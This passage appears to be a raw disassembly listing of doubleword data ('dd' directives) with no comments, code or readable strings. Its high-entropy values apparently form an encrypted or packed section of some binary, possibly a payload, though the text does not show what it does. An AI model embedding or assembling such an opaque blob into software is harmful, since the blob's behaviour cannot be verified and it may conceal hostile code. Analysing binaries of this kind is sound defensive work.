0B592FEAh, 31B82FBEh, 15CCB031h, 84324237h dd 0D42BDAF2h, 25213EA5h, 19A02797h, 1E051BCAh, 12581C5Dh dd 171010E9h, 0BA01573h, 0FE8098Ah, 4100DC3h, 51067Bh dd 278902B8h, 221B21CDh, 1EA11C66h, 1AC818F1h, 1570176Ch dd 1156134Eh, 0DB60F4Fh, 8300BE5h, 4740612h, 673C024Eh dd 1C8506A3h, 72320B4Fh, 0E7A69623h, 61C0A423h, 242C1F2Ah dd 3771D936h, 0DF1B1C39h, 0CA7EB902h, 0F5D02339h, 9E0309B4h dd 38221167h, 0A722CA36h, 0C0383725h, 2EAD5ED4h, 0E0C6C622h dd 58C30B2h, 9727B634h, 3D4E24AFh, 0EC613ECCh, 4108941Ch dd 0E4AD1012h, 49DFAD0Bh, 3D2D492Ah, 0D09E98C5h, 9338E139h dd 274736A4h, 1E313BA6h, 4B28AF00h, 8DFCAE3h, 73EA486Eh dd 0B137E94Ch, 0E2B5DC0h, 7F663BFDh, 25A2B7BAh, 0A2D26464h dd 0DBF9A8E8h, 7E32FB5Ah, 971CDD1Fh, 2001105Dh, 2A255102h dd 4864FB9Fh, 24DA7B3Bh, 26AE90C1h, 0CCF43772h, 0F839B331h dd 3D22D4FAh, 1DDA90EFh, 9F084897h, 272420CAh, 0D7DFBE26h dd 0A0BE2FA7h, 0BCB02F2Ah, 0F4BFB326h, 3B39D5F7h, 973E3A56h dd 5E193E6Ch, 21331C1Ch, 26223823h, 2A262477h, 2E2BCCC7h dd 0FA2D2FF3h, 82313364h, 39913434h, 3E3AA03Bh, 1A3E6BB9h dd 411F1C6Ah, 226E2021h, 26731125h, 2A2B3129h, 0DF2F2C24h dd 66EA1AB1h, 0FEB53435h, 95C82328h, 0F3F25ACh, 57CCEB85h dd 0DD71754Eh, 17A93117h, 2BEFF83Fh, 0FF162D4Bh, 0BA18432Fh dd 70BD2275h, 21086B22h, 267B04E1h, 0CD7D23EDh, 7F304010h dd 0F479E310h, 9976782Ah, 2DAE2A34h, 313F2211h, 31B53331h dd 3D59E114h, 2D254DFAh, 19491B32h, 95AF1CA8h, 0CFF85D23h dd 0F8FD4E37h, 0EF472FEAh, 20397E26h, 60021021h, 2DC86545h dd 8C284BB1h, 6F1DFC9Ah, 1E0E1706h, 0C1204294h, 12DDCD2Fh dd 0AAD5D4D4h, 0BC2F2DABh, 26166E20h, 8736B598h, 103918A5h dd 3A5F18FDh, 0DF707E0Dh, 0AE23E086h, 27640D1Bh, 29A87890h dd 0A33BCD99h, 32B115B7h, 0A532555Bh, 143BB933h, 3A3C15ABh dd 1F1C4696h, 0E285D1Ah, 25850A43h, 72AA477Ch, 0AD2C8A7Ah dd 303C8A1Ch, 0F6611B12h, 3953173Dh, 3D15425Fh, 79736B39h dd 24CF73FFh, 65515123h, 0E82D566Ah, 4D5E2E00h, 3059A13Ch dd 24696535h, 7B616576h, 5B56BEBBh, 7CCFBF50h, 5C7C784Bh dd 2ED2484Ch, 70252564h, 5A7E1B1Bh, 0CF1C2869h, 19DA33F0h dd 0AD461C45h, 0AEE3FFB3h, 90FD2DA8h, 4A1BB31Dh, 248326B0h dd 42254CB5h, 3A392E64h, 0FF823E9Bh, 0F417742Fh, 0DE3434E3h dd 139FA32h, 3C3DFD9Ah, 0DCB2E3D7h, 21E17B1Eh, 0CECC200Ah dd 0E85127E4h, 366C2F2Ah, 782E893Eh, 37BFCDB9h, 0FF38E7E7h dd 1D2C2F7Eh, 1D09B67Ch, 3FDBD41Eh, 34FFA12Eh, 9462564h dd 0D5002B58h, 203B7AA0h, 0BFF2B931h, 0F9CDBDC2h, 0CF393AD0h dd 98F7B598h, 0EC5A1EFDh, 9732F484h, 27460100h, 2315C97Dh dd 0A57D2D23h, 3F16B16Ch, 4360EEB0h, 2D32B91Eh, 2F303E30h dd 375DB10Bh, 0A23466D8h, 19A52623h, 5A336EE0h, 70A54C73h dd 836A6E36h, 46375636h, 0BD3B5CD2h, 0FE0E3E5Bh, 177C1A8Fh dd 322F17EEh, 0BA226C20h, 0A02BB43Eh, 0EEB824FAh, 86D82AFBh dd 7D3192BFh, 8890B239h, 0EE781330h, 2C1E833Bh, 272F7810h dd 0A12CE2A4h, 29A77FAAh, 51CADFC0h, 0A96322BBh, 0A5F6333Dh dd 34AD6A39h, 0DC04D23Ch dd 5133AC32h, 53128154h, 8BA627C3h, 7252025h, 2FEB2D81h dd 448EA82Dh, 5B34B1DCh, 17B63634h, 0E3D23590h, 3F7D3EDEh dd 1C77E490h, 7521E09Ah, 0D911CE83h, 2E78C832h, 0F5A8F42Bh dd 16156CA6h, 9623AE46h, 3889E065h, 0FABC0A68h, 1C1F169Eh dd 4B23A928h, 25E47026h, 2A06C727h, 2F6D45ABh, 38443E17h dd 0F410B072h, 4B2B5732h, 483CBBC9h, 3C92392Ch, 221A7921h dd 249A2121h, 28372775h, 902D0A2Bh, 7C7F116Fh, 0B8D299C2h dd 69673254h, 3BBB2CD9h, 25F3318h, 4F4C1B3Dh, 612EE7C8h dd 761305B9h, 6A5B4191h, 0BF27012Eh, 52FDB23Bh, 4BBF3D4Ah dd 0D37A791Ch, 0C0C3D48Dh, 360919CAh, 734B3275h, 20313723h dd 6690C73h, 0C67F2D41h, 1E34020Dh, 37300072h, 4D13B37h dd 0E66D397Bh, 4F2A9DB2h, 6DAB5B1Bh, 74743306h, 20FDD872h dd 5B2C265Ch, 63562FA5h, 3CE3CC76h, 37527F7Bh, 7D75383Ah dd 59712D54h, 751F5B77h, 2D498265h, 2A56CE75h, 792D127Ch dd 0BEC70B25h, 0DC636731h, 39328FABh, 6A323E2Eh, 0E4C08B8Ah dd 6B1E9374h, 310A21D4h, 27D4F7CCh, 3A2ADD03h, 0DDEC3FC4h dd 0C036D330h, 85DE2534h, 0A23ACB7Dh, 0D7313DC8h, 4E1DEEB9h dd 2C21D44Eh, 26D7B6CBh, 2729DC20h, 0DCAFC40Fh, 0C1328E2Fh dd 0BCDD3833h, 4F39CA45h, 0D6363CCFh, 851CE95Dh, 0A4801F9Bh dd 0A08C8922h, 29AD9726h, 0ED2CAE92h, 0F96A2FABh, 0B4E433B7h dd 0E1160736h, 70DC3B4Eh, 3D0A3F4Eh, 482FEE17h, 42906C8h dd 2667A4FFh, 0E2B6A01h, 30AE1E2Eh, 0C993C61h, 0BD773730h dd 3CBE7239h, 1AFFBB6Dh, 0DE5BDD19h, 0E2671164h, 72669360h dd 2F06EDABh, 2F832A3Ah, 672E33Bh, 5F381754h, 3053541Ah dd 51CDC8F8h, 18771310h, 8036DFh, 873D2564h, 7B224805h dd 254777C3h, 39519527h, 0A075F544h, 287A11AFh, 9F003752h dd 0C921AD02h, 2D1DF123h, 971A4E1Ch, 7316D218h, 0E2139815h dd 310FF611h, 35360331h, 3A388B37h, 0DAB0B4Eh, 2CAF0F9Fh dd 110C2EF8h, 1577130Ah, 19A9175Bh, 1D9C1BB7h, 1F31FE7h dd 5C903C4h, 0A050413h, 387B0805h, 1A550E2Dh, 3F1F9D4Dh dd 806253C8h, 0A74EDADBh, 0E3082847h, 0ADAAEB28h, 51DA30B9h dd 0C814CA90h, 0B0123E78h, 5F3ABDCCh, 1D1D0C1Fh, 2BA1A7F7h dd 2451D2A6h, 7E39EF76h, 2F47640Fh, 22F0937Dh, 0DE344B73h dd 7496F91Bh, 38B03C34h, 1B93F094h, 0ADA61995h, 23AB5524h dd 2FA721A9h, 0A2E74386h, 2736A428h, 0BA3235BEh, 3FB71030h dd 0F25D3B37h, 0C8D9AAF5h, 0B015A8BEh, 28EF2220h, 40D84C25h dd 6F832ADFh, 914B2F2Dh, 64333631h, 0CE35BF51h, 186F3FBFh dd 5A235629h, 9E139D1Dh, 23DDDEC2h, 71367726h, 0EA523CD7h dd 0D0ABD524h, 663AF419h, 4B333563h, 6D6D3C38h, 0C0D6B61Ch dd 1C5D9C0Eh, 0D231AB4Ah, 26A131DCh, 407F7B25h, 0BA312DAEh dd 0CD622C2Fh, 0DE378026h, 0B10DC8D0h, 0F6198033h, 69E31ACEh dd 0D635481Dh, 24D64F23h, 7E29D7EFh, 13A465A7h, 147042C6h dd 0F57675B8h, 0B237B723h, 0B3B1787Ch, 14182F6Ch, 0A153F64Dh dd 0C076E02h, 2A4F2674h, 0D3292A2Bh, 0EC0F1238h, 11773333h dd 19704EDDh, 7D3AFB99h, 84D71837h, 7A4E083Ch, 0C3A625C0h dd 0A729CD20h, 0B2B4915h, 64DCA8Dh, 5130F1D8h, 35516536h dd 97D211B0h, 2873F5Ch, 0E06DD6Fh, 7FC93642h, 0D29C2C62h dd 0DA80D54h, 3B1EED79h, 0F235F13Bh, 36CCB138h, 44B47834h dd 9BD56B3Fh, 1F971FBFh, 0FA251EC6h, 0CD723356h, 0A8DB2512h dd 0EEA72F42h, 316D7171h, 73BFF069h, 46F8B226h, 7BB7563Ah dd 855B432h, 5FDEAE26h, 11237542h, 6C2B69E5h, 0A9F32A20h dd 5C8578F6h, 72470B71h, 1679705Dh, 522ADA70h, 0F9175B72h dd 91579D09h, 65403B45h, 3D831E54h, 48D213C8h, 2F7CA95Bh dd 0B76632BBh, 2E964658h, 4E56586Eh, 9E7836DCh, 927C449Eh dd 2484679h, 6BA55D12h, 2A425B46h, 2D2D6829h, 162725D0h dd 3B93DD53h, 0B11C98E9h, 1E3CB7EBh, 6C6EC1Bh, 0A03075CCh dd 2424C122h, 0A8D7D827h, 0D2D32BE8h, 0F3132D2Eh, 716CBA62h dd 4EDC1312h, 1D043F4Ah, 5F3CC330h, 2424E0Fh, 0D5BDCA2Dh dd 6253E633h, 2C2F0C71h, 312B2C24h, 8BE8DA4Ch, 94395DB7h dd 8AC51B9h, 1255BE3Dh, 177CF54Dh, 0CB0415ACh, 2712A401h dd 0C33E6127h, 7B2AAF37h, 0DB609735h, 3985EF60h, 43A039Eh dd 3FB29B3Eh, 74BB1956h, 7287235Bh, 0A7F6822Bh, 2BE83D92h dd 0EEB66E9Ah, 0F0737A2Eh, 3D102D32h, 3BF8011Ah, 9B4F6A74h dd 5C1DD93Ch, 0E3771EDBh, 0E0311023h, 28EA4B27h, 952DEB0Fh dd 0B0492A16h, 0A8F3EE07h, 26382803h, 0D7025F3Ah, 7D04FCE5h dd 13FAA423h, 21BB1C43h, 6C244404h, 0C163589h, 2F5E122Eh dd 73B32521h, 2DC86DE4h, 0A199F21Bh, 0EFC7B539h, 3C4C09BDh dd 0A7D0F801h, 0F5717775h, 9322D62Bh, 6BA5FB2Ch, 6FBB2514h dd 0C163510h, 11BC36FBh, 3D3E3D3Dh, 0C9413190h, 2299211Dh dd 632A6037h, 0B792377h, 0C0E3C42Dh, 0C2862BEDh, 0A6CACBC9h dd 0AD063835h, 3E323C34h, 121C14C0h, 2E20101Eh, 2A242C22h dd 26282826h, 2D23D42Ah, 313F2F21h, 353B333Dh, 39373739h dd 32C33B35h, 131B303Eh, 2F1F111Dh, 0C7742D21h, 0C818C264h dd 0AF332A61h, 0D8793EEBh, 35893292h, 782F7F58h, 5E72583Ch dd 0BE8534h, 3D1F3F27h, 3F247A60h, 0B8D33C9Bh, 2A23505Ch dd 0AE5D5956h, 0DB643A49h, 153D77D2h, 0B0C2B228h, 676F7D0Ah dd 5FE276FFh, 0FB468466h, 26D42221h, 2B5A2AECh, 2E173C0Bh dd 2000112Dh, 0F634345Dh, 3A4A1517h, 154F063Ah, 1BCA410Ah dd 20031F9Ah, 1F243312h, 60F92652h, 4C2C08D5h, 2332C7Bh dd 6537C331h, 1969E636h, 3FDF3A3Ah, 494B643Bh, 1C525Fh dd 0E7B70C09h, 27E25544h, 23EB2F2Fh, 0C83ECFCAh, 0BEEB7FBCh dd 0FABD27B5h, 204E2D03h, 0F2F00BDh, 9F1F4C96h, 56237621h dd 0E6A52B24h, 29EDAA2Ah, 5AEE2DA8h, 0D8F202D0h, 0F7562E30h dd 0FBBFFA23h, 62D629DDh, 1E233C14h, 9F82381Ch, 5E2595CBh dd 0C821A38Bh, 79286CB9h, 86AD356Ch, 0C4641E95h, 39CF4B34h dd 4B3ECE07h, 15FDFCFDh, 0EB80579Eh, 3835D7CAh, 20F92096h dd 183D5997h, 22D2078Eh, 30141925h, 973BC560h, 5F3AFA7Fh dd 27CAEF14h, 1CD525C7h, 1A2E1FAFh, 17641836h, 13761565h dd 312F11DEh, 353330E1h, 0AC343691h, 0A00BA209h, 0BF0F9E0Dh dd 312F392Ch, 0C7134211h, 0D917D015h, 19182C19h, 4B1C141Eh dd 3D005B02h, 2052D07h, 4F09060Bh, 2AC1470Fh, 49888CBFh dd 2A4B0175h, 0E7064E0Bh, 7B03427Dh, 0A6B3CA2h, 0AE533EC7h dd 27FDBF2Bh, 0D22B3FE6h, 56075D15h, 0FC296A33h, 6E925E84h dd 0A5B5822Ah, 29C01F20h, 0D2D3317Fh, 5B2F4579h, 165E2EB2h dd 1052195Ch, 2C167CFAh, 38575C9Eh, 0AC7C7E21h, 0A6242208h dd 202626h, 0E2A0AEC8h, 1011C6A1h, 1FB6F25Dh, 3A33125Dh dd 3E381443h, 3B315F26h, 1D181D7Fh, 0A3E96F43h, 6D378522h dd 0B423888h, 2CCE286Dh, 32587160h, 8D389765h, 3E5C2878h dd 0B4953D49h, 95BAF7E6h, 0F3203858h, 69CD742Eh, 77D6D644h dd 0A520C70Bh, 26E02860h, 97BDC2Bh, 2B0A38C7h, 5E753CD9h dd 1769097Eh, 7974FF10h, 77302222h, 295338CEh, 2C22E228h dd 33021EEh, 2D257372h, 667FF622h, 6467057Ah, 8424109Bh dd 0A3AF89A4h, 9613C5E1h dd 2234E71Dh, 0CD2C7B89h, 0F3409064h, 3696FA44h, 9C3C3735h dd 343F0A2Ah, 4B3B6A1Dh, 50A0F54Dh, 29831260h, 1A093D8Fh dd 0ACA32CE9h, 0A1614E23h, 0DB03A76Dh, 0EC227542h, 0D53988A3h dd 0B2FD378Ch, 4EA25E1Fh, 4A772819h, 0AB24B42Dh, 78A92CE7h dd 4EEA28A6h, 0DE1CF12Fh, 35A77B87h, 2BC53667h, 8F080C92h dd 9B95BFCBh, 0A7E73C3Fh, 5220002h, 78EFB569h, 6FA52D09h dd 31B6E90Fh, 35633D10h, 0C6BDC8C9h, 3DA7BF35h, 914C3C3Eh dd 0C8073A51h, 0DB7A22E3h, 28259DDAh, 2D2B402Ah, 62E2E45h dd 34323275h, 741372B8h, 0F2B06A6Ah, 3F63B73Dh, 49D8F568h dd 73DD21DFh, 0E1EBAE73h, 474A0D6Ch, 2E2EC52Fh, 31B4B930h dd 5953457Bh, 593B3ABDh, 4AADBF7Eh, 871D6E69h, 21642519h dd 5AE0212Bh, 4F652A76h, 4BF95A4Ah, 5B0B306Ch, 36661AF3h dd 82A2787Ch, 0BEA53E3Bh, 1365DA34h, 58E57018h, 6346603h dd 0E9466E24h, 2E404A22h, 45481EEEh, 34F23032h, 304A5E70h dd 7E3A2CFAh, 734F319Ch, 481F7272h, 17534E44h, 20497517h dd 0AC585A48h, 62272E72h, 34541054h, 6B455329h, 5F526919h dd 1C3B5B1Fh, 9E751B1Ch, 83114D41h, 4B420B16h, 0E3A4944h dd 2F0A1E8Ch, 5BE7CE75h, 37763434h, 3A6B3B32h, 173CFC1Ah dd 541C1C1Ah, 82E9079h, 0A60925C3h, 42867h, 2DCD2Dh, 0E205333Fh dd 97657033h, 387C3877h, 3D3CE9C4h, 0DF1D8A7Dh, 1D202F58h dd 58036DDh, 23290765h, 2DA68C62h, 45F0AB26h, 9DA73344h dd 393B373Ah, 39223A0Bh, 0D9529BD6h, 247F751Fh, 2DCB2131h dd 0B270D25h, 0F2DBA0Bh, 31DAC62Fh, 96177EFBh, 3927324Dh dd 2C38DED1h, 532F3D75h, 1CCDF51Fh, 20E5392Fh, 272FDA34h dd 924C128h, 6E6B6CB8h, 0CB27CEA4h, 773155F3h, 27A23921h dd 0B72C826Ah, 6E7828BAh, 0AC73305Dh, 2DF626AAh, 93C2294h dd 70EC6A4Bh, 223976E8h, 0C8BCCBAFh, 2A38FB07h, 753DBC3Eh dd 0D114E4A6h, 216FEF20h, 0C817762Ah, 0B151FA1Dh, 7E54BF62h dd 0BA662F7Bh, 35A01786h, 0B2386035h, 4362B6C3h, 185E70B3h dd 137FDAF5h, 0CCE8A971h, 0E8D524E3h, 0A824EA1Bh, 0A02F2AC4h dd 59BCBF33h, 91DFB395h, 9791397Dh, 59F13D79h, 2EBEBC1Fh dd 212105AEh, 752606B4h, 0ABF9D67Eh, 0E120990h, 3C3731F0h dd 1274CBB1h, 6081DBCh, 0F60D3DDCh, 1F6C1E5Bh, 470AAC96h dd 40260523h, 5A6D2857h, 0EE7D7D2Bh, 0BEB9667Dh, 36956217h dd 7B501CF7h, 1F695401h, 5D4F4D48h, 5410570Ah, 616003D8h dd 0A2207302h, 831DF31Fh, 0F1B53FEAh, 36406C72h, 9EEC866h dd 6D640F0Fh, 183B42D6h, 0F30F1FFDh, 0D26B2F1Ch, 2EB702A1h dd 2E2A5F28h, 0B174D673h, 5B33F2F5h, 37373959h, 0BC3B3F39h dd 4C696B6Eh, 0AF740976h, 232D3701h, 28D9252Bh, 242A2628h dd 202E222Ch, 3C323E30h, 30363A34h, 3B353937h, 89BE3D34h dd 8690911Bh, 0CBDEDFE4h, 0DAB364D8h, 0E2A4A5D8h, 7BDD8C2Ah dd 3381602Dh, 6637D163h, 0E01139D7h, 0B5153C2Ah, 351C8FBAh dd 1135FF9Dh, 0D57DE3FEh, 0D6D6A486h, 2DAD655Eh, 0BB5F0F67h dd 0A168932Eh, 1D7435F7h, 5D665B1Ah, 9E46E32h, 0E01EDE31h dd 4E032AB7h, 4E717435h, 4A3D2849h, 24BE8EE4h, 2169F233h dd 58347601h, 8F39BA1Bh, 0EC0683Ch, 823A9D94h, 7C22151h dd 77223D8Fh, 238F02C0h, 3BC6293Dh, 3726C234h, 245BB435h dd 3B4B363Ch, 4E23392Ch, 35190C1Bh, 302150C8h, 9606E427h dd 0EB492C32h, 842DAD2Ah, 4231B547h, 0B34D34B6h, 3ABCB837h dd 3EB8B491h, 0F8769EAFh, 1E373B15h, 80242C11h, 2083E12Fh dd 2DB4C7ABh, 62322F2Ch, 0BC62EAB9h, 311C6B36h, 0D53870B7h dd 1BFB1ED7h, 903BAA96h, 0A9732341h, 0C0596835h, 0A92DFACAh dd 0B52F21EDh, 36333157h, 0E05F6160h, 7C0D3B39h, 4A6FDE34h dd 0BDB754Eh, 0B9A2C0BCh, 0A42F6581h, 2B2335ECh, 6F5A1950h dd 0B809777Fh, 0DF669DFBh, 4F34BB14h, 0AB3033B8h, 9D77FE15h dd 797F7F11h, 15C8ADAAh, 622FB967h, 166DBD67h, 361544A6h dd 0B475F4DBh, 0CA51C7CAh, 3CB81D7Ah, 1D035720h, 3E171F01h dd 0A5243C22h, 44A823ABh, 25A60C2Ah, 0B930AF07h, 5118133Ch dd 7FB14096h, 7BFB3F02h, 6A9D9E5Eh, 0CC9C0408h, 73752AA1h dd 3C035AAEh, 0CDEA22ABh, 36A72925h, 3C7310D9h, 2C151155h dd 0CC3332F9h, 0F333263Ch, 891FCC1Ah, 8CA2C2Bh, 4213161h dd 0C3E4295Ah, 8E2E5C37h, 1094755Ah, 1A23F6D0h, 1638AB29h dd 3CAD6C7Ch, 0FD29F417h, 22D27812h, 5CD7028h, 0C25928D4h dd 2F0D2326h, 11830C4h, 396ABDE8h, 362167BEh, 933A38F9h dd 5B9723AFh, 6FABBF16h, 25757326h, 0F4280CFBh, 296AA02Ah dd 1A3C79A5h, 0FBBF63E2h, 4039CDF7h, 0E453BA4h, 5A92FF3Eh dd 28599719h, 28652EA8h, 3BEA47A9h, 3443D543h, 306CB72Dh dd 34925630h, 3CB32631h, 209A3B19h, 20F3D29h, 4E4E1CCDh dd 99CAEBABh, 8611052Fh, 2A2A2F6Ah, 2B5B9323h, 67B95730h dd 0F1B5301Ah, 0CB5C3B3Fh, 23D52F42h, 2A195990h, 512AA1h dd 472636A7h, 3EA24E18h, 644E246Eh, 587F7132h, 25D15E22h dd 202ADC3Fh, 6E4A5C4Ch, 0EFD157Fh, 0AF55DF9Bh, 0E425632Fh dd 7E2D2328h, 2C8D16A1h, 0E6CF7FEEh, 94E3CC64h, 6294D026h dd 18A52BC4h, 38049E39h, 313B120Ch, 766359D4h, 29030Fh dd 2F2E4B0Ch, 43B2E49h, 1CB1E2EEh, 654B37C4h, 0C8AE3BCFh dd 0BC3F4E3Ch, 5C9F112Bh, 14816423h, 0AA05C438h, 2C9E3C66h dd 34C64138h, 23C2B5F0h, 0D28AA43Ch, 0BAB95628h, 0B22DBF2Ah dd 0DF54855h, 0F790197Fh, 20CD1B23h, 646F28F6h, 38063BFFh dd 9F54B0EAh, 7786E933h, 0EE1A39F1h, 7C7D327Fh, 85DAF231h dd 2F644E4Eh, 652E23CCh, 2B866728h, 4778EB36h, 5B24452Bh dd 315E3333h, 2C52275Ch, 6FB46A50h, 0F15901D6h, 0E4D79539h dd 0CC267A1Fh, 69E7E66Fh, 2DEA68DCh, 71D564C5h, 651113Eh dd 0BD38567Ch, 0BAD0FB22h, 1B8773A0h, 0E79D1E1Ch, 732555DFh dd 0AF33DA24h, 0A02B2BF4h, 0A4112D7Ah, 70DA63FBh, 0C836C869h dd 7CB268h, 3770B06Ch, 1F2BF40Ah, 7179482Fh, 27252467h dd 0C20F66AAh, 0E22E763Ch, 7281308Bh, 26359001h, 963A3883h dd 3E853C9Fh, 0B9BC0D3Ch, 0B9135F1Eh, 25E42386h, 8DA46525h dd 2E2CEF2Ah, 0F9308B52h, 4137335Ah, 0E9F43792h, 0ED3C9FB8h dd 40183F56h, 0C0CB1EB9h, 0FC238682h, 6C24264Dh, 89D82A8Dh dd 0B08B8B4Bh, 1B58BB57h, 0F87E2A94h, 7FB2FA3Bh, 3B32B50Ch dd 28DE1C3Dh, 0AA13A021h, 0EAAD106Fh, 104A6AA5h, 0D7A5FCA7h dd 361239D0h, 0F235750Dh, 0F1B19CCBh, 9FCD341Ch, 0F61097BFh dd 963140DDh, 24A51C82h, 923920AEh, 21699369h, 3D313F2Fh dd 363A343Ch, 3A363838h, 0F23F8BA2h, 0E2761BB1h, 625FD776h dd 41252322h, 792C2787h, 8A52B4Eh, 67612B2Eh, 0BC34C2B9h dd 0B43C1342h, 3DFB2E74h, 1C0B1B7Ah, 0F5E6F619h, 0AFDCDD71h dd 7BE427EBh, 308B0A7Ah, 302CD145h, 446230BDh, 0C059F438h dd 0B38BCC0Ah, 27BBF835h, 6B1D034Ch, 0DCA2A45Dh, 6505C50h dd 29CAFEA3h, 0A2F8060Ch, 303305B4h, 62306566h, 3ECB68BBh dd 4CE3E60h, 0C16F60ECh, 29602BABh, 265D2FD7h, 0FC3EC075h dd 0EAAED3D6h, 1312425h, 691334BBh, 1A0A6569h, 0FABC67FBh dd 0DE9E1A2Fh, 612D1FA7h, 0E5172122h, 0D289BABh, 902F2BC2h dd 31300967h dd 539FC030h, 5E9D9Dh, 0C318973Ah, 336F3C3Eh, 78223296h dd 37201121h, 0B3292764h, 0A63224A9h, 442AAF64h, 0DB327364h dd 0E236777Ah, 3B3AB313h, 0EB16FCE8h, 3365171Eh, 527E069h dd 3624E42Ah, 4728E81Bh, 2DEF73BEh, 31F36247h, 2AB71716h dd 1D3874AAh, 3B7F5464h, 1F5C0478h, 74268E3Bh, 63E2EBA8h dd 8A9D465h, 0F6A77A3Bh, 32B5298Ch, 40C41E8h, 0CE74B3F7h dd 33B4583Bh, 43431F3Fh, 0C4AB1F45h, 449CE07Fh, 29606589h dd 404EE82Bh, 3CD0CE5Bh, 652333B9h, 2BC7F8BDh, 0FA474B1h dd 3E9BE7B4h, 212F191Eh, 1210A26Dh, 78772755h, 8C0BEEAAh dd 314F392Ch, 35133323h, 6E315C26h, 38D33853h, 9BFA658h dd 0E0E19EE4h, 4B6F4955h, 2C6C8F44h, 2549539Ch, 8F267767h dd 53D31137h, 6728AB45h, 0FBDABC3Bh, 0BF568041h, 9EBD142Ah dd 0B2DE76CCh, 0BE08AFF4h, 28432A27h, 784D13ABh, 0E7CEE8A4h dd 34B530B3h, 0B16F3864h, 0BDE8C3C3h, 96083BFBh, 7AAFDFD9h dd 8440AFBBh, 432CA726h, 996F43D5h, 31F86F6Dh, 3511BA56h dd 41D4B432h, 8933FB3Bh, 1D40AF1Ah, 3E8D001Ah, 0B3EA2360h dd 3FD32EA5h, 637F2FA8h, 0A495EF64h, 760630B0h, 52A5468Dh dd 0EC503B78h, 0A8B93A7Ch, 0FEBA1C5Dh, 8F2AA1BEh, 0AFAB67E0h dd 898E2BA8h, 422F2D07h, 0BB31F077h, 441243F6h, 653B78A8h dd 37AE7C79h, 1ADA9F1Bh, 0CF54D524h, 0E3E292A8h, 322C1836h dd 2B303E53h, 9A35217Ah, 66DCBF23h, 3428232Fh, 3E38FD23h dd 964A482Bh, 5DCBF7D3h, 6A213123h, 7276D653h, 226B7675h dd 313B182Ah, 7ADC6319h, 0E5BBE786h, 0B6FD33FEh, 0DDE1B4C9h dd 0D31F1CF4h, 0A7EBA984h, 36D425C4h, 1CE9EA8Dh, 0B12DCC2Fh dd 1B87B33h, 28E06A21h, 394BC340h, 8B576F2Dh, 1D1F1D05h dd 0AF4A1E40h, 4F042015h, 0D4AA2068h, 83E0CFAh, 731B7B5Ah dd 3B362B3Ah, 59BF5334h, 0F53478F4h, 751B5D7Bh, 0D7252658h dd 20243BA6h, 2C2CB3F1h, 6B151AEBh, 3731F029h, 0FE1F00B1h dd 3FE93A32h, 3BD8E43Ah, 1ED81B37h, 2125FA9Eh, 34A5AD23h dd 487D27A6h, 2DC83D02h, 1D30CB0Fh, 600333D6h, 0C8B337D2h dd 752CBDB1h, 0AC1AB7B5h, 0F1241CAFh, 0AD62255Dh, 0A3278424h dd 0D3E5A12Fh, 0F28E267Dh, 1047BB30h, 71353531h, 4CBA3BFAh dd 0A26E3A19h, 0DFFCB7F7h, 69AD210Fh, 0E715DAD9h, 946D7076h dd 282E22BAh, 0A3DEB030h, 46423145h, 3F5A1E73h, 3D3E6D20h dd 52EBA931h, 12205132h, 6B176862h, 4228AB77h, 0D65D4479h dd 1A016963h, 678A78C8h, 0FEBA6387h, 2639AC17h, 50A8113Fh dd 1134151Dh, 9A7A973Dh, 4161484Eh, 0D22D198Dh, 9D29DE37h dd 29BCC32Eh, 3B383636h, 2A48F2BEh, 27543FB5h, 5E9DF64Ch dd 2428DDDCh, 0A14D26B7h, 0F55F0C28h, 312AB9A6h, 2631B015h dd 86B339F5h, 69382A39h, 163EB56Bh, 15ADF54Ch, 0CBA02157h dd 0D8DB33A5h, 0AA2AAD27h, 0C2AB2E2Ch, 0B4574C44h, 303CB4B2h dd 473E2A38h, 3F9EA9BCh, 4EF54E18h, 0DDDCAD38h, 25133123h dd 28012C19h, 0F2D2E2Bh, 9E3FB07Fh, 0F0363433h, 6E951CB3h dd 31AD3E3Bh, 1D974AD7h, 0A171AF0Ch, 0EDAF3733h, 298C2D26h dd 0A2C43B20h, 0B9A6E2h, 5DF41E92h, 0FEB37336h, 0FB5F765h dd 261B3EBCh, 21DF2E94h, 7BA423A0h, 0DC27394Dh, 240F6618h dd 306BEE95h, 4330CBB2h, 0B513C91Ch, 7F3A2639h, 15D73F3Dh dd 0E0E34D0Ah, 22222DE2h, 90272094h, 842B2C4Dh, 84012C2Ch dd 1CBD3230h, 2719B4E1h, 0DBE135D8h, 0BFDC0F30h, 1F61F5Ah dd 23A03F9Eh, 0E02308E2h, 0CBA8E90Bh, 0AF54B70Fh, 0B9B335AEh dd 5C111636h, 0DAFF805h, 360DBE0Ah, 57421CEDh, 9100FB1Ch dd 24213C23h, 29273709h, 0EE112B25h, 0CA0DF113h, 30A250Fh dd 8B066608h, 0FD028004h, 0CF25F500h, 0C221C623h, 0D21DCD1Fh dd 3E18291Bh, 7E140316h, 0D02E2E12h, 0B4323230h, 9643535h dd 0DCC0B9Bh, 29CE0C75h, 2C012E11h, 107E1260h, 14A9164Ah dd 0FADD1A83h, 6F086F4Dh, 92BEFC30h, 0B5DE8735h, 9D07A64h dd 86BC9F76h, 2A3758D9h, 0D07E70FDh, 3DD77E77h, 289A4DE2h dd 15469E05h, 0E027F2E4h, 65D73544h, 5ABE41Dh, 0C6AAEACh dd 7A7135EDh, 0E9204E4Bh, 37575190h, 4D78B951h, 5BEC0EA3h dd 316637C2h, 5F353358h, 53315D30h, 3E567432h, 761C3E7Eh dd 641F9312h, 28490605h, 2077D7AEh, 6DC674C1h, 0BB7906BDh dd 0B3B373F9h, 0D033361Dh, 0BF1BFA43h, 4B3BF8BDh, 6E76A44Ah dd 0CB8E1CE0h, 3733253Ch, 797A1509h, 0C0E90DAFh, 730ECD58h dd 0BDDE6235h, 2FBFBB7Dh, 0B72E343Ch, 0D61B5D87h, 0C0D06DF7h dd 4E20C1Ch, 78E8EA2Fh, 0C72F6C12h, 0B525F27Fh, 20DD7173h dd 0DB35B8D0h, 3CDDD52Fh, 1B69DBBAh, 2129FF7Eh, 65160B36h dd 0F9251126h, 2DAD1C2Ah, 316C2E4Eh, 0E4556F33h, 39713606h dd 6D332B3Bh, 9C7A1BBAh, 4538725Fh, 767FE645h, 0BA642236h dd 28493B11h, 60034249h, 517F5C0Ah, 682D171Bh, 2D313719h dd 6FBF5626h, 7D366D68h, 20224541h, 272F2187h, 2B228A00h dd 336DC528h, 92CD79CEh, 5F3F3520h, 6B2139C8h, 0C06B3B3Dh dd 1CCA2C0Eh, 2631E21Eh, 3BB52523h, 0DC1A7EBBh, 3493442Bh dd 8B30306Fh, 724C2C6Ch, 3B5C3837h, 3D3D1C72h, 1F57182Ah dd 21D9171Fh, 0F5302327h, 40450872h, 4E0C452Ah, 541E4B43h dd 